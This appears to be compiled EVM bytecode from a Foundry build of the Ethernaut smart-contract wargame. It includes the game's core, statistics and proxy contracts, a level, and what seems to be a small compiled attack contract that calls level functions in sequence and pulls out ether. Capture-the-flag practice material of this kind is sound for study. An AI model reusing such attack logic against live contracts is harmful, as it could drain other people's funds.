83111562002157575f80fd5b6040840193505b82841015620021795783518252928c0192908c01906200215e565b845250505060408201518781111562002190575f80fd5b620021a08d8b8386010162002025565b8a83015250620021b36060830162002046565b6040820152845250918601918601620020ca565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016625762001662620021d4565b5f602082840312156200220f575f80fd5b815167ffffffffffffffff81111562002226575f80fd5b8201601f8101841362002237575f80fd5b620022488482516020840162001ff1565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200228981600585016020880162001cfe565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022c881600a84016020880162001cfe565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200231181846020880162001cfe565b8351908301906200232781836020880162001cfe565b01949350505050565b602081525f62001a19602083018462001d22565b600181811c908216806200235957607f821691505b6020821081036200237857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200238f575f80fd5b815162001a198162001b38565b5f60208284031215620023ad575f80fd5b5051919050565b80820180821115620016625762001662620021d4565b604081525f620023de604083018562001d22565b8281036020840152620023f2818562001d22565b95945050505050565b5f602082840312156200240c575f80fd5b815167ffffffffffffffff81111562002423575f80fd5b62002248848285016200202556fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610afa8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61070b806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506106ee8061001d5f395ff3fe60806040526004361061007c575f3560e01c8063b9966e561161004c578063b9966e5614610130578063c960174e14610161578063e97dcb6214610180578063f7edf09914610194575f80fd5b80630c3d9fed14610087578063690da2b2146100bc5780638da5cb5b146100f35780639db31d7714610111575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506001546100a790600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156100c7575f80fd5b506002546100db906001600160a01b031681565b6040516001600160a01b0390911681526020016100b3565b3480156100fe575f80fd5b505f546100db906001600160a01b031681565b34801561011c575f80fd5b506001546100db906001600160a01b031681565b34801561013b575f80fd5b5061015f5f805473ffffffffffffffffffffffffffffffffffffffff191633179055565b005b34801561016c575f80fd5b5061015f61017b3660046103e0565b6101a8565b34801561018b575f80fd5b5061015f610264565b34801561019f575f80fd5b5061015f61030a565b6002546040517f9e4b2e47000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b0390911690639e4b2e47906024016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103f7565b1561026157600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790555b50565b5f546001600160a01b03163314610279575f80fd5b5f546001600160a01b0316320361028e575f80fd5b60018054600160a01b900460ff161515146102a7575f80fd5b66038d7ea4c68000471180156102e357505f80546040516001600160a01b03909116919066038d7ea4c680009082818181858883f11593505050505b15610308576001805473ffffffffffffffffffffffffffffffffffffffff1916321790555b565b30604051610317906103d3565b6001600160a01b039091168152602001604051809103905ff080158015610340573d5f803e3d5ffd5b506002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604080517f4cbb817f0000000000000000000000000000000000000000000000000000000081529051634cbb817f916004808201925f9290919082900301818387803b1580156103bb575f80fd5b505af11580156103cd573d5f803e3d5ffd5b50505050565b61029b8061041e83390190565b5f602082840312156103f0575f80fd5b5035919050565b5f60208284031215610407575f80fd5b81518015158114610416575f80fd5b939250505056fe608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033a264697066735822122004ec1558c477d8267989f4fb6808aa81eb4b010971406c03a1d94f9d1699324264736f6c63430008180033a2646970667358221220105d34f0cc0aead0758e547b8b298108adba52702863b6da9843e318c1b1021664736f6c63430008180033608060405260405161031e38038061031e83398101604081905261002291610046565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610073565b5f60208284031215610056575f80fd5b81516001600160a01b038116811461006c575f80fd5b9392505050565b61029e806100805f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80639e5faafc14610038578063a46916a714610042575b5f80fd5b610040610070565b005b5f54610054906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f8054604080517fb9966e5600000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263b9966e569260048084019382900301818387803b1580156100c8575f80fd5b505af11580156100da573d5f803e3d5ffd5b50505f8054604080517ff7edf09900000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216945063f7edf0999350600480820193929182900301818387803b158015610138575f80fd5b505af115801561014a573d5f803e3d5ffd5b50505f546040517fc960174e0000000000000000000000000000000000000000000000000000000081524260048201526001600160a01b03909116925063c960174e91506024015f604051808303815f87803b1580156101a8575f80fd5b505af11580156101ba573d5f803e3d5ffd5b50505f80546040516001600160a01b0390911693509091506603e871b540c0009082818181858883f193505050501580156101f7573d5f803e3d5ffd5b505f8054604080517fe97dcb6200000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263e97dcb629260048084019382900301818387803b158015610250575f80fd5b505af1158015610262573d5f803e3d5ffd5b5050505056fea26469706673582212201cc147123fb82924ccfb3585f4f0f5cf527281961de1d76f39568baace2e90d564736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160